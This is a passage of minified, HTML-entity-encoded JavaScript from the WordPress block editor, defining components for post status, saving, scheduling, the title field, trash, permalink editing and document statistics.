editors.&quot;)},{label:(0,fs.__)(&quot;Scheduled&quot;),value:&quot;future&quot;,description:(0,fs.__)(&quot;Publish automatically on a chosen date.&quot;)},{label:(0,fs.__)(&quot;Published&quot;),value:&quot;publish&quot;,description:(0,fs.__)(&quot;Visible to everyone.&quot;)}],nh=[T,B,I,N];function ih(){const{status:e,date:t,password:s,postId:o,postType:n,canEdit:i}=(0,c.useSelect)((e=&gt;{var t;const{getEditedPostAttribute:s,getCurrentPostId:o,getCurrentPostType:n,getCurrentPost:i}=e(Ac);return{status:s(&quot;status&quot;),date:s(&quot;date&quot;),password:s(&quot;password&quot;),postId:o(),postType:n(),canEdit:null!==(t=i()._links?.[&quot;wp:action-publish&quot;])&amp;&amp;void 0!==t&amp;&amp;t}}),[]),[r,a]=(0,u.useState)(!!s),l=(0,p.useInstanceId)(ih,&quot;editor-change-status__password-input&quot;),{editEntityRecord:m}=(0,c.useDispatch)(d.store),[g,_]=(0,u.useState)(null),f=(0,u.useMemo)((()=&gt;({anchor:g,&quot;aria-label&quot;:(0,fs.__)(&quot;Status &amp; visibility&quot;),headerTitle:(0,fs.__)(&quot;Status &amp; visibility&quot;),placement:&quot;left-start&quot;,offset:36,shift:!0})),[g]);if(nh.includes(n))return null;const b=({status:i=e,password:r=s,date:a=t})=&gt;{m(&quot;postType&quot;,n,o,{status:i,date:a,password:r})},y=e=&gt;{a(e),e||b({password:&quot;&quot;})},x=o=&gt;{let n=t,i=s;&quot;future&quot;===e&amp;&amp;new Date(t)&gt;new Date&amp;&amp;(n=null),&quot;private&quot;===o&amp;&amp;s&amp;&amp;(i=&quot;&quot;),b({status:o,date:n,password:i})};return(0,L.jsx)(zd,{label:(0,fs.__)(&quot;Status&quot;),ref:_,children:i?(0,L.jsx)(Uo.Dropdown,{className:&quot;editor-post-status&quot;,contentClassName:&quot;editor-change-status__content&quot;,popoverProps:f,focusOnMount:!0,renderToggle:({onToggle:t,isOpen:s})=&gt;(0,L.jsx)(Uo.Button,{className:&quot;editor-post-status__toggle&quot;,variant:&quot;tertiary&quot;,size:&quot;compact&quot;,onClick:t,icon:sh[e]?.icon,&quot;aria-label&quot;:(0,fs.sprintf)((0,fs.__)(&quot;Change status: %s&quot;),sh[e]?.label),&quot;aria-expanded&quot;:s,children:sh[e]?.label}),renderContent:({onClose:t})=&gt;(0,L.jsxs)(L.Fragment,{children:[(0,L.jsx)(h.__experimentalInspectorPopoverHeader,{title:(0,fs.__)(&quot;Status &amp; visibility&quot;),onClose:t}),(0,L.jsx)(&quot;form&quot;,{children:(0,L.jsxs)(Uo.__experimentalVStack,{spacing:4,children:[(0,L.jsx)(Uo.RadioControl,{className:&quot;editor-change-status__options&quot;,hideLabelFromVision:!0,label:(0,fs.__)(&quot;Status&quot;),options:oh,onChange:x,selected:&quot;auto-draft&quot;===e?&quot;draft&quot;:e}),&quot;future&quot;===e&amp;&amp;(0,L.jsx)(&quot;div&quot;,{className:&quot;editor-change-status__publish-date-wrapper&quot;,children:(0,L.jsx)(mm,{showPopoverHeaderActions:!1,isCompact:!0})}),&quot;private&quot;!==e&amp;&amp;(0,L.jsxs)(Uo.__experimentalVStack,{as:&quot;fieldset&quot;,spacing:4,className:&quot;editor-change-status__password-fieldset&quot;,children:[(0,L.jsx)(Uo.CheckboxControl,{__nextHasNoMarginBottom:!0,label:(0,fs.__)(&quot;Password protected&quot;),help:(0,fs.__)(&quot;Only visible to those who know the password&quot;),checked:r,onChange:y}),r&amp;&amp;(0,L.jsx)(&quot;div&quot;,{className:&quot;editor-change-status__password-input&quot;,children:(0,L.jsx)(Uo.TextControl,{label:(0,fs.__)(&quot;Password&quot;),onChange:e=&gt;b({password:e}),value:s,placeholder:(0,fs.__)(&quot;Use a secure password&quot;),type:&quot;text&quot;,id:l,__next40pxDefaultSize:!0,__nextHasNoMarginBottom:!0,maxLength:255})})]}),(0,L.jsx)(th,{})]})})]})}):(0,L.jsx)(&quot;div&quot;,{className:&quot;editor-post-status is-read-only&quot;,children:sh[e]?.label})})}function rh({forceIsDirty:e}){const[t,s]=(0,u.useState)(!1),o=(0,p.useViewportMatch)(&quot;small&quot;),{isAutosaving:n,isDirty:i,isNew:r,isPublished:a,isSaveable:l,isSaving:d,isScheduled:m,hasPublishAction:h,showIconLabels:g,postStatus:_,postStatusHasChanged:f}=(0,c.useSelect)((t=&gt;{var s;const{isEditedPostNew:o,isCurrentPostPublished:n,isCurrentPostScheduled:i,isEditedPostDirty:r,isSavingPost:a,isEditedPostSaveable:l,getCurrentPost:c,isAutosavingPost:d,getEditedPostAttribute:u,getPostEdits:p}=t(Ac),{get:m}=t(k.store);return{isAutosaving:d(),isDirty:e||r(),isNew:o(),isPublished:n(),isSaving:a(),isSaveable:l(),isScheduled:i(),hasPublishAction:null!==(s=c()?._links?.[&quot;wp:action-publish&quot;])&amp;&amp;void 0!==s&amp;&amp;s,showIconLabels:m(&quot;core&quot;,&quot;showIconLabels&quot;),postStatus:u(&quot;status&quot;),postStatusHasChanged:!!p()?.status}}),[e]),b=&quot;pending&quot;===_,{savePost:y}=(0,c.useDispatch)(Ac),x=(0,p.usePrevious)(d);if((0,u.useEffect)((()=&gt;{let e;return x&amp;&amp;!d&amp;&amp;(s(!0),e=setTimeout((()=&gt;{s(!1)}),1e3)),()=&gt;clearTimeout(e)}),[d]),!h&amp;&amp;b)return null;const v=![&quot;pending&quot;,&quot;draft&quot;,&quot;auto-draft&quot;].includes(_)&amp;&amp;oh.map((({value:e})=&gt;e)).includes(_);if(a||m||v||f&amp;&amp;[&quot;pending&quot;,&quot;draft&quot;].includes(_))return null;const S=b?(0,fs.__)(&quot;Save as pending&quot;):(0,fs.__)(&quot;Save draft&quot;),w=(0,fs.__)(&quot;Save&quot;),C=t||!r&amp;&amp;!i,P=d||C,j=d||C||!l;let E;return d?E=n?(0,fs.__)(&quot;Autosaving&quot;):(0,fs.__)(&quot;Saving&quot;):C?E=(0,fs.__)(&quot;Saved&quot;):o?E=S:g&amp;&amp;(E=w),(0,L.jsxs)(Uo.Button,{className:l||d?Di({&quot;editor-post-save-draft&quot;:!P,&quot;editor-post-saved-state&quot;:P,&quot;is-saving&quot;:d,&quot;is-autosaving&quot;:n,&quot;is-saved&quot;:C,[(0,Uo.__unstableGetAnimateClassName)({type:&quot;loading&quot;})]:d}):void 0,onClick:j?void 0:()=&gt;y(),shortcut:j?void 0:wl.displayShortcut.primary(&quot;s&quot;),variant:&quot;tertiary&quot;,size:&quot;compact&quot;,icon:o?void 0:Xm,label:E||S,&quot;aria-disabled&quot;:j,children:[P&amp;&amp;(0,L.jsx)(fr,{icon:C?Ho:Jm}),E]})}function ah({children:e}){return(0,c.useSelect)((e=&gt;{var t;return null!==(t=e(Ac).getCurrentPost()._links?.[&quot;wp:action-publish&quot;])&amp;&amp;void 0!==t&amp;&amp;t}),[])?e:null}const lh=[T,B,I,N];function ch(){const[e,t]=(0,u.useState)(null),s=(0,c.useSelect)((e=&gt;e(Ac).getCurrentPostType()),[]),o=(0,u.useMemo)((()=&gt;({anchor:e,&quot;aria-label&quot;:(0,fs.__)(&quot;Change publish date&quot;),placement:&quot;left-start&quot;,offset:36,shift:!0})),[e]),n=gm(),i=gm({full:!0});return lh.includes(s)?null:(0,L.jsx)(ah,{children:(0,L.jsx)(zd,{label:(0,fs.__)(&quot;Publish&quot;),ref:t,children:(0,L.jsx)(Uo.Dropdown,{popoverProps:o,focusOnMount:!0,className:&quot;editor-post-schedule__panel-dropdown&quot;,contentClassName:&quot;editor-post-schedule__dialog&quot;,renderToggle:({onToggle:e,isOpen:t})=&gt;(0,L.jsx)(Uo.Button,{size:&quot;compact&quot;,className:&quot;editor-post-schedule__dialog-toggle&quot;,variant:&quot;tertiary&quot;,tooltipPosition:&quot;middle left&quot;,onClick:e,&quot;aria-label&quot;:(0,fs.sprintf)((0,fs.__)(&quot;Change date: %s&quot;),n),label:i,showTooltip:n!==i,&quot;aria-expanded&quot;:t,children:n}),renderContent:({onClose:e})=&gt;(0,L.jsx)(pm,{onClose:e})})})})}function dh(){w()(&quot;wp.editor.PostSwitchToDraftButton&quot;,{since:&quot;6.7&quot;,version:&quot;6.9&quot;});const[e,t]=(0,u.useState)(!1),{editPost:s,savePost:o}=(0,c.useDispatch)(Ac),{isSaving:n,isPublished:i,isScheduled:r}=(0,c.useSelect)((e=&gt;{const{isSavingPost:t,isCurrentPostPublished:s,isCurrentPostScheduled:o}=e(Ac);return{isSaving:t(),isPublished:s(),isScheduled:o()}}),[]),a=n||!i&amp;&amp;!r;let l,d;i?(l=(0,fs.__)(&quot;Are you sure you want to unpublish this post?&quot;),d=(0,fs.__)(&quot;Unpublish&quot;)):r&amp;&amp;(l=(0,fs.__)(&quot;Are you sure you want to unschedule this post?&quot;),d=(0,fs.__)(&quot;Unschedule&quot;));return(0,L.jsxs)(L.Fragment,{children:[(0,L.jsx)(Uo.Button,{__next40pxDefaultSize:!0,className:&quot;editor-post-switch-to-draft&quot;,onClick:()=&gt;{a||t(!0)},&quot;aria-disabled&quot;:a,variant:&quot;secondary&quot;,style:{flexGrow:&quot;1&quot;,justifyContent:&quot;center&quot;},children:(0,fs.__)(&quot;Switch to draft&quot;)}),(0,L.jsx)(Uo.__experimentalConfirmDialog,{isOpen:e,onConfirm:()=&gt;{t(!1),s({status:&quot;draft&quot;}),o()},onCancel:()=&gt;t(!1),confirmButtonText:d,children:l})]})}function uh(){const{syncStatus:e,postType:t}=(0,c.useSelect)((e=&gt;{const{getEditedPostAttribute:t}=e(Ac),s=t(&quot;meta&quot;);return{syncStatus:&quot;unsynced&quot;===s?.wp_pattern_sync_status?&quot;unsynced&quot;:t(&quot;wp_pattern_sync_status&quot;),postType:t(&quot;type&quot;)}}));return&quot;wp_block&quot;!==t?null:(0,L.jsx)(zd,{label:(0,fs.__)(&quot;Sync status&quot;),children:(0,L.jsx)(&quot;div&quot;,{className:&quot;editor-post-sync-status__value&quot;,children:&quot;unsynced&quot;===e?(0,fs._x)(&quot;Not synced&quot;,&quot;pattern (singular)&quot;):(0,fs._x)(&quot;Synced&quot;,&quot;pattern (singular)&quot;)})})}const ph=e=&gt;e;const mh=function({taxonomyWrapper:e=ph}){const{postType:t,taxonomies:s}=(0,c.useSelect)((e=&gt;({postType:e(Ac).getCurrentPostType(),taxonomies:e(d.store).getEntityRecords(&quot;root&quot;,&quot;taxonomy&quot;,{per_page:-1})})),[]);return(null!=s?s:[]).filter((e=&gt;e.types.includes(t)&amp;&amp;e.visibility?.show_ui)).map((t=&gt;{const s=t.hierarchical?Om:Em,o={slug:t.slug,...t.hierarchical?{}:{__nextHasNoMarginBottom:!0}};return(0,L.jsx)(u.Fragment,{children:e((0,L.jsx)(s,{...o}),t)},`taxonomy-${t.slug}`)}))};function hh({children:e}){const t=(0,c.useSelect)((e=&gt;{const t=e(Ac).getCurrentPostType(),s=e(d.store).getEntityRecords(&quot;root&quot;,&quot;taxonomy&quot;,{per_page:-1});return s?.some((e=&gt;e.types.includes(t)))}),[]);return t?e:null}function gh({taxonomy:e,children:t}){const s=e?.slug,o=s?`taxonomy-panel-${s}`:&quot;&quot;,{isEnabled:n,isOpened:i}=(0,c.useSelect)((e=&gt;{const{isEditorPanelEnabled:t,isEditorPanelOpened:n}=e(Ac);return{isEnabled:!!s&amp;&amp;t(o),isOpened:!!s&amp;&amp;n(o)}}),[o,s]),{toggleEditorPanelOpened:r}=(0,c.useDispatch)(Ac);if(!n)return null;const a=e?.labels?.menu_name;return a?(0,L.jsx)(Uo.PanelBody,{title:a,opened:i,onToggle:()=&gt;r(o),children:t}):null}function _h(){return(0,L.jsx)(hh,{children:(0,L.jsx)(mh,{taxonomyWrapper:(e,t)=&gt;(0,L.jsx)(gh,{taxonomy:t,children:e})})})}var fh=s(4132);function bh(){const e=(0,p.useInstanceId)(bh),{content:t,blocks:s,type:o,id:n}=(0,c.useSelect)((e=&gt;{const{getEditedEntityRecord:t}=e(d.store),{getCurrentPostType:s,getCurrentPostId:o}=e(Ac),n=s(),i=o(),r=t(&quot;postType&quot;,n,i);return{content:r?.content,blocks:r?.blocks,type:n,id:i}}),[]),{editEntityRecord:i}=(0,c.useDispatch)(d.store),r=(0,u.useMemo)((()=&gt;t instanceof Function?t({blocks:s}):s?(0,y.__unstableSerializeAndClean)(s):t),[t,s]);return(0,L.jsxs)(L.Fragment,{children:[(0,L.jsx)(Uo.VisuallyHidden,{as:&quot;label&quot;,htmlFor:`post-content-${e}`,children:(0,fs.__)(&quot;Type text or HTML&quot;)}),(0,L.jsx)(fh.A,{autoComplete:&quot;off&quot;,dir:&quot;auto&quot;,value:r,onChange:e=&gt;{i(&quot;postType&quot;,o,n,{content:e.target.value,blocks:void 0,selection:void 0})},className:&quot;editor-post-text-editor&quot;,id:`post-content-${e}`,placeholder:(0,fs.__)(&quot;Start writing with text or HTML&quot;)})]})}const yh=&quot;wp-block wp-block-post-title block-editor-block-list__block editor-post-title editor-post-title__input rich-text&quot;,xh=/[\r\n]+/g;function vh(e){const t=(0,u.useRef)(),{isCleanNewPost:s}=(0,c.useSelect)((e=&gt;{const{isCleanNewPost:t}=e(Ac);return{isCleanNewPost:t()}}),[]);return(0,u.useImperativeHandle)(e,(()=&gt;({focus:()=&gt;{t?.current?.focus()}}))),(0,u.useEffect)((()=&gt;{if(!t.current)return;const{defaultView:e}=t.current.ownerDocument,{name:o,parent:n}=e,i=&quot;editor-canvas&quot;===o?n.document:e.document,{activeElement:r,body:a}=i;!s||r&amp;&amp;a!==r||t.current.focus()}),[s]),{ref:t}}function Sh(){const{editPost:e}=(0,c.useDispatch)(Ac),{title:t}=(0,c.useSelect)((e=&gt;{const{getEditedPostAttribute:t}=e(Ac);return{title:t(&quot;title&quot;)}}),[]);return{title:t,setTitle:function(t){e({title:t})}}}const wh=(0,u.forwardRef)(((e,t)=&gt;{const{placeholder:s}=(0,c.useSelect)((e=&gt;{const{getSettings:t}=e(h.store),{titlePlaceholder:s}=t();return{placeholder:s}}),[]),[o,n]=(0,u.useState)(!1),{ref:i}=vh(t),{title:r,setTitle:a}=Sh(),[l,d]=(0,u.useState)({}),{clearSelectedBlock:m,insertBlocks:g,insertDefaultBlock:_}=(0,c.useDispatch)(h.store),f=(0,Lo.decodeEntities)(s)||(0,fs.__)(&quot;Add title&quot;),{value:b,onChange:x,ref:v}=(0,Jc.__unstableUseRichText)({value:r,onChange(e){a(e.replace(xh,&quot; &quot;))},placeholder:f,selectionStart:l.start,selectionEnd:l.end,onSelectionChange(e,t){d((s=&gt;{const{start:o,end:n}=s;return o===e&amp;&amp;n===t?s:{start:e,end:t}}))},__unstableDisableFormats:!1});function S(e){g(e,0)}const w=Di(yh,{&quot;is-selected&quot;:o});return(0,L.jsx)(&quot;h1&quot;,{ref:(0,p.useMergeRefs)([v,i]),contentEditable:!0,className:w,&quot;aria-label&quot;:f,role:&quot;textbox&quot;,&quot;aria-multiline&quot;:&quot;true&quot;,onFocus:function(){n(!0),m()},onBlur:function(){n(!1),d({})},onKeyDown:function(e){e.keyCode===wl.ENTER&amp;&amp;(e.preventDefault(),_(void 0,void 0,0))},onPaste:function(e){const t=e.clipboardData;let s=&quot;&quot;,o=&quot;&quot;;try{s=t.getData(&quot;text/plain&quot;),o=t.getData(&quot;text/html&quot;)}catch(e){return}window.console.log(&quot;Received HTML:\n\n&quot;,o),window.console.log(&quot;Received plain text:\n\n&quot;,s);const n=(0,y.pasteHandler)({HTML:o,plainText:s});if(e.preventDefault(),n.length)if(&quot;string&quot;!=typeof n){const[e]=n;if(r||&quot;core/heading&quot;!==e.name&amp;&amp;&quot;core/paragraph&quot;!==e.name)S(n);else{const t=(0,Kc.__unstableStripHTML)(e.attributes.content);a(t),S(n.slice(1))}}else{const e=(0,Kc.__unstableStripHTML)(n);x((0,Jc.insert)(b,(0,Jc.create)({html:e})))}}})})),kh=(0,u.forwardRef)(((e,t)=&gt;(0,L.jsx)(Od,{supportKeys:&quot;title&quot;,children:(0,L.jsx)(wh,{ref:t})})));const Ch=(0,u.forwardRef)((function(e,t){const{placeholder:s}=(0,c.useSelect)((e=&gt;{const{getSettings:t}=e(h.store),{titlePlaceholder:s}=t();return{placeholder:s}}),[]),[o,n]=(0,u.useState)(!1),{title:i,setTitle:r}=Sh(),{ref:a}=vh(t),l=Di(yh,{&quot;is-selected&quot;:o,&quot;is-raw-text&quot;:!0}),d=(0,Lo.decodeEntities)(s)||(0,fs.__)(&quot;Add title&quot;);return(0,L.jsx)(Uo.TextareaControl,{ref:a,value:i,onChange:function(e){r(e.replace(xh,&quot; &quot;))},onFocus:function(){n(!0)},onBlur:function(){n(!1)},label:s,className:l,placeholder:d,hideLabelFromVision:!0,autoComplete:&quot;off&quot;,dir:&quot;auto&quot;,rows:1,__nextHasNoMarginBottom:!0})}));function Ph({children:e}){const{canTrashPost:t}=(0,c.useSelect)((e=&gt;{const{isEditedPostNew:t,getCurrentPostId:s,getCurrentPostType:o}=e(Ac),{canUser:n}=e(d.store),i=o(),r=s(),a=t(),l=!!r&amp;&amp;n(&quot;delete&quot;,{kind:&quot;postType&quot;,name:i,id:r});return{canTrashPost:(!a||r)&amp;&amp;l&amp;&amp;!R.includes(i)}}),[]);return t?e:null}function jh({onActionPerformed:e}){const t=(0,c.useRegistry)(),{isNew:s,isDeleting:o,postId:n,title:i}=(0,c.useSelect)((e=&gt;{const t=e(Ac);return{isNew:t.isEditedPostNew(),isDeleting:t.isDeletingPost(),postId:t.getCurrentPostId(),title:t.getCurrentPostAttribute(&quot;title&quot;)}}),[]),{trashPost:r}=(0,c.useDispatch)(Ac),[a,l]=(0,u.useState)(!1);if(s||!n)return null;return(0,L.jsxs)(Ph,{children:[(0,L.jsx)(Uo.Button,{__next40pxDefaultSize:!0,className:&quot;editor-post-trash&quot;,isDestructive:!0,variant:&quot;secondary&quot;,isBusy:o,&quot;aria-disabled&quot;:o,onClick:o?void 0:()=&gt;l(!0),children:(0,fs.__)(&quot;Move to trash&quot;)}),(0,L.jsx)(Uo.__experimentalConfirmDialog,{isOpen:a,onConfirm:async()=&gt;{l(!1),await r();const s=await t.resolveSelect(Ac).getCurrentPost();e?.(&quot;move-to-trash&quot;,[s])},onCancel:()=&gt;l(!1),confirmButtonText:(0,fs.__)(&quot;Move to trash&quot;),size:&quot;small&quot;,children:(0,fs.sprintf)((0,fs.__)(&#039;Are you sure you want to move &quot;%s&quot; to the trash?&#039;),i)})]})}function Eh({onClose:e}){const{isEditable:t,postSlug:s,postLink:o,permalinkPrefix:n,permalinkSuffix:i,permalink:r}=(0,c.useSelect)((e=&gt;{var t;const s=e(Ac).getCurrentPost(),o=e(Ac).getCurrentPostType(),n=e(d.store).getPostType(o),i=e(Ac).getPermalinkParts(),r=null!==(t=s?._links?.[&quot;wp:action-publish&quot;])&amp;&amp;void 0!==t&amp;&amp;t;return{isEditable:e(Ac).isPermalinkEditable()&amp;&amp;r,postSlug:(0,v.safeDecodeURIComponent)(e(Ac).getEditedPostSlug()),viewPostLabel:n?.labels.view_item,postLink:s.link,permalinkPrefix:i?.prefix,permalinkSuffix:i?.suffix,permalink:(0,v.safeDecodeURIComponent)(e(Ac).getPermalink())}}),[]),{editPost:a}=(0,c.useDispatch)(Ac),{createNotice:l}=(0,c.useDispatch)(_s.store),[m,g]=(0,u.useState)(!1),_=(0,p.useCopyToClipboard)(r,(()=&gt;{l(&quot;info&quot;,(0,fs.__)(&quot;Copied Permalink to clipboard.&quot;),{isDismissible:!0,type:&quot;snackbar&quot;})})),f=&quot;editor-post-url__slug-description-&quot;+(0,p.useInstanceId)(Eh);return(0,L.jsxs)(&quot;div&quot;,{className:&quot;editor-post-url&quot;,children:[(0,L.jsx)(h.__experimentalInspectorPopoverHeader,{title:(0,fs.__)(&quot;Slug&quot;),onClose:e}),(0,L.jsxs)(Uo.__experimentalVStack,{spacing:3,children:[t&amp;&amp;(0,L.jsx)(&quot;p&quot;,{className:&quot;editor-post-url__intro&quot;,children:(0,u.createInterpolateElement)((0,fs.__)(&quot;&lt;span&gt;Customize the last part of the Permalink.&lt;/span&gt; &lt;a&gt;Learn more.&lt;/a&gt;&quot;),{span:(0,L.jsx)(&quot;span&quot;,{id:f}),a:(0,L.jsx)(Uo.ExternalLink,{href:(0,fs.__)(&quot;https://wordpress.org/documentation/article/page-post-settings-sidebar/#permalink&quot;)})})}),(0,L.jsxs)(&quot;div&quot;,{children:[t&amp;&amp;(0,L.jsxs)(L.Fragment,{children:[(0,L.jsx)(Uo.__experimentalInputControl,{__next40pxDefaultSize:!0,prefix:(0,L.jsx)(Uo.__experimentalInputControlPrefixWrapper,{children:&quot;/&quot;}),suffix:(0,L.jsx)(Uo.__experimentalInputControlSuffixWrapper,{variant:&quot;control&quot;,children:(0,L.jsx)(Uo.Button,{icon:Ki,ref:_,size:&quot;small&quot;,label:&quot;Copy&quot;})}),label:(0,fs.__)(&quot;Slug&quot;),hideLabelFromVision:!0,value:m?&quot;&quot;:s,autoComplete:&quot;off&quot;,spellCheck:&quot;false&quot;,type:&quot;text&quot;,className:&quot;editor-post-url__input&quot;,onChange:e=&gt;{a({slug:e}),e?m&amp;&amp;g(!1):m||g(!0)},onBlur:e=&gt;{a({slug:(0,v.cleanForSlug)(e.target.value)}),m&amp;&amp;g(!1)},&quot;aria-describedby&quot;:f}),(0,L.jsxs)(&quot;p&quot;,{className:&quot;editor-post-url__permalink&quot;,children:[(0,L.jsx)(&quot;span&quot;,{className:&quot;editor-post-url__permalink-visual-label&quot;,children:(0,fs.__)(&quot;Permalink:&quot;)}),(0,L.jsxs)(Uo.ExternalLink,{className:&quot;editor-post-url__link&quot;,href:o,target:&quot;_blank&quot;,children:[(0,L.jsx)(&quot;span&quot;,{className:&quot;editor-post-url__link-prefix&quot;,children:n}),(0,L.jsx)(&quot;span&quot;,{className:&quot;editor-post-url__link-slug&quot;,children:s}),(0,L.jsx)(&quot;span&quot;,{className:&quot;editor-post-url__link-suffix&quot;,children:i})]})]})]}),!t&amp;&amp;(0,L.jsx)(Uo.ExternalLink,{className:&quot;editor-post-url__link&quot;,href:o,target:&quot;_blank&quot;,children:o})]})]})]})}function Th({children:e}){const t=(0,c.useSelect)((e=&gt;{const t=e(Ac).getCurrentPostType(),s=e(d.store).getPostType(t);if(!s?.viewable)return!1;if(!e(Ac).getCurrentPost().link)return!1;return!!e(Ac).getPermalinkParts()}),[]);return t?e:null}function Bh(){return Ih()}function Ih(){const e=(0,c.useSelect)((e=&gt;e(Ac).getPermalink()),[]);return(0,v.filterURLForDisplay)((0,v.safeDecodeURIComponent)(e))}function Nh(){const{isFrontPage:e}=(0,c.useSelect)((e=&gt;{const{getCurrentPostId:t}=e(Ac),{getEditedEntityRecord:s,canUser:o}=e(d.store),n=o(&quot;read&quot;,{kind:&quot;root&quot;,name:&quot;site&quot;})?s(&quot;root&quot;,&quot;site&quot;):void 0,i=t();return{isFrontPage:n?.page_on_front===i}}),[]),[t,s]=(0,u.useState)(null),o=(0,u.useMemo)((()=&gt;({anchor:t,placement:&quot;left-start&quot;,offset:36,shift:!0})),[t]),n=e?(0,fs.__)(&quot;Link&quot;):(0,fs.__)(&quot;Slug&quot;);return(0,L.jsx)(Th,{children:(0,L.jsxs)(zd,{label:n,ref:s,children:[!e&amp;&amp;(0,L.jsx)(Uo.Dropdown,{popoverProps:o,className:&quot;editor-post-url__panel-dropdown&quot;,contentClassName:&quot;editor-post-url__panel-dialog&quot;,focusOnMount:!0,renderToggle:({isOpen:e,onToggle:t})=&gt;(0,L.jsx)(Dh,{isOpen:e,onClick:t}),renderContent:({onClose:e})=&gt;(0,L.jsx)(Eh,{onClose:e})}),e&amp;&amp;(0,L.jsx)(Ah,{})]})})}function Dh({isOpen:e,onClick:t}){const{slug:s}=(0,c.useSelect)((e=&gt;({slug:e(Ac).getEditedPostSlug()})),[]),o=(0,v.safeDecodeURIComponent)(s);return(0,L.jsx)(Uo.Button,{size:&quot;compact&quot;,className:&quot;editor-post-url__panel-toggle&quot;,variant:&quot;tertiary&quot;,&quot;aria-expanded&quot;:e,&quot;aria-label&quot;:(0,fs.sprintf)((0,fs.__)(&quot;Change link: %s&quot;),o),onClick:t,children:(0,L.jsx)(L.Fragment,{children:o})})}function Ah(){const{postLink:e}=(0,c.useSelect)((e=&gt;{const{getCurrentPost:t}=e(Ac);return{postLink:t()?.link}}),[]);return(0,L.jsx)(Uo.ExternalLink,{className:&quot;editor-post-url__front-page-link&quot;,href:e,target:&quot;_blank&quot;,children:e})}function Rh({render:e}){return e({canEdit:(0,c.useSelect)((e=&gt;{var t;return null!==(t=e(Ac).getCurrentPost()._links?.[&quot;wp:action-publish&quot;])&amp;&amp;void 0!==t&amp;&amp;t}))})}const Mh=(0,L.jsx)(M.SVG,{viewBox:&quot;0 0 24 24&quot;,xmlns:&quot;http://www.w3.org/2000/svg&quot;,children:(0,L.jsx)(M.Path,{fillRule:&quot;evenodd&quot;,clipRule:&quot;evenodd&quot;,d:&quot;M5.5 12a6.5 6.5 0 1 0 13 0 6.5 6.5 0 0 0-13 0ZM12 4a8 8 0 1 0 0 16 8 8 0 0 0 0-16Zm.75 4v1.5h-1.5V8h1.5Zm0 8v-5h-1.5v5h1.5Z&quot;})}),Lh=window.wp.wordcount;function Oh(){const e=(0,c.useSelect)((e=&gt;e(Ac).getEditedPostAttribute(&quot;content&quot;)),[]),t=(0,fs._x)(&quot;words&quot;,&quot;Word count type. Do not translate!&quot;);return(0,L.jsx)(&quot;span&quot;,{className:&quot;word-count&quot;,children:(0,Lh.count)(e,t)})}const Fh=189;function Vh(){const e=(0,c.useSelect)((e=&gt;e(Ac).getEditedPostAttribute(&quot;content&quot;)),[]),t=(0,fs._x)(&quot;words&quot;,&quot;Word count type. Do not translate!&quot;),s=Math.round((0,Lh.count)(e,t)/Fh),o=0===s?(0,u.createInterpolateElement)((0,fs.__)(&quot;&lt;span&gt;&lt; 1&lt;/span&gt; minute&quot;),{span:(0,L.jsx)(&quot;span&quot;,{})}):(0,u.createInterpolateElement)((0,fs.sprintf)((0,fs._n)(&quot;&lt;span&gt;%s&lt;/span&gt; minute&quot;,&quot;&lt;span&gt;%s&lt;/span&gt; minutes&quot;,s),s),{span:(0,L.jsx)(&quot;span&quot;,{})});return(0,L.jsx)(&quot;span&quot;,{className:&quot;time-to-read&quot;,children:o})}function zh(){const e=(0,c.useSelect)((e=&gt;e(Ac).getEditedPostAttribute(&quot;content&quot;)),[]);return(0,Lh.count)(e,&quot;characters_including_spaces&quot;)}const Uh=function({hasOutlineItemsDisabled:e,onRequestClose:t}){const{headingCount:s,paragraphCount:o,numberOfBlocks:n}=(0,c.useSelect)((e=&gt;{const{getGlobalBlockCount:t}=e(h.store);return{headingCount:t(&quot;core/heading&quot;),paragraphCount:t(&quot;core/paragraph&quot;),numberOfBlocks:t()}}),[]);return(0,L.jsxs)(L.Fragment,{children:[(0,L.jsx)(&quot;div&quot;,{className:&quot;table-of-contents__wrapper&quot;,role:&quot;note&quot;,&quot;aria-label&quot;:(0,fs.__)(&quot;Document Statistics&quot;),tabIndex:&quot;0&quot;,children:(0,L.jsxs)(&quot;ul&quot;,{role:&quot;list&quot;,className:&quot;table-of-contents__counts&quot;,children:[(0,L.jsxs)(&quot;li&quot;,{className:&quot;table-of-contents__count&quot;,children:[(0,fs.__)(&quot;Words&quot;),(0,L.jsx)(Oh,{})]}),(0,L.jsxs)(&quot;li&quot;,{className:&quot;table-of-contents__count&quot;,children:[(0,fs.__)(&quot;Characters&quot;),(0,L.jsx)(&quot;span&quot;,{className:&quot;table-of-contents__number&quot;,children:(0,L.jsx)(zh,{})})]}),(0,L.jsxs)(&quot;li&quot;,{className:&quot;table-of-contents__count&quot;,children:[(0,fs.__)(&quot;Time to read&quot;),(0,L.jsx)(Vh,{})]}),(0,L.jsxs)(&quot;li&quot;,{className:&quot;table-of-contents__count&quot;,children:[(0,fs.__)(&quot;Headings&quot;),(0,L.jsx)(&quot;span&quot;,{className:&quot;table-of-contents__number&quot;,children:s})]}),(0,L.jsxs)(&quot;li&quot;,{className:&quot;table-of-contents__count&quot;,children:[(0,fs.__)(&quot;Paragraphs&quot;),(0,L.jsx)(&quot;span&quot;,{className:&quot;table-of-contents__number&quot;,children:o})]}),(0,L.jsxs)(&quot;li&quot;,{className:&quot;table-of-contents__count&quot;,children:[(0,fs.__)(&quot;Blocks&quot;),(0,L.jsx)(&quot;span&quot;,{className:&quot;table-of-contents__number&quot;,children:n})]})]})}),s&gt;0&amp;&amp;(0,L.jsxs)(L.Fragment,{children:[(0,L.jsx)(&quot;hr&quot;,{}),(0,L.jsx)(&quot;h2&quot;,{className:&quot;table-of-contents__title&quot;,children:(0,fs.__)(&quot;Document Outline&quot;)}),(0,L.jsx)(ld,{onSelect:t,hasOutlineItemsDisabled:e})]})]})};const Hh=(0,u.forwardRef)((function({hasOutlineItemsDisabled:e,repositionDropdown:t,...s},o){const n=(0,c.useSelect)((e=&gt;!!e(h.store).getBlockCount()),[]);return(0,L.jsx)(Uo.Dropdown,{popoverProps:{placement:t?&quot;right&quot;:&quot;bottom&quot;},className:&quot;table-of-contents&quot;,contentClassName:&quot;table-of-contents__popover&quot;,renderToggle:({isOpen:e,onToggle:t})=&gt;(0,L.jsx)(Uo.Button,{__next40pxDefaultSize:!0,...s,ref:o,onClick:n?t:void 0,icon:Mh,&quot;aria-expanded&quot;:e,&quot;aria-haspopup&quot;:&quot;true&quot;,label:(0,fs.__)(&quot;Details&quot;),tooltipPosition:&quot;bottom&quot;,&quot;aria-disabled&quot;:!n}),renderContent:({onClose:t})=&gt;(0,L.jsx)(Uh,{onRequestClose:t,hasOutlineItemsDisabled:e})})}));function 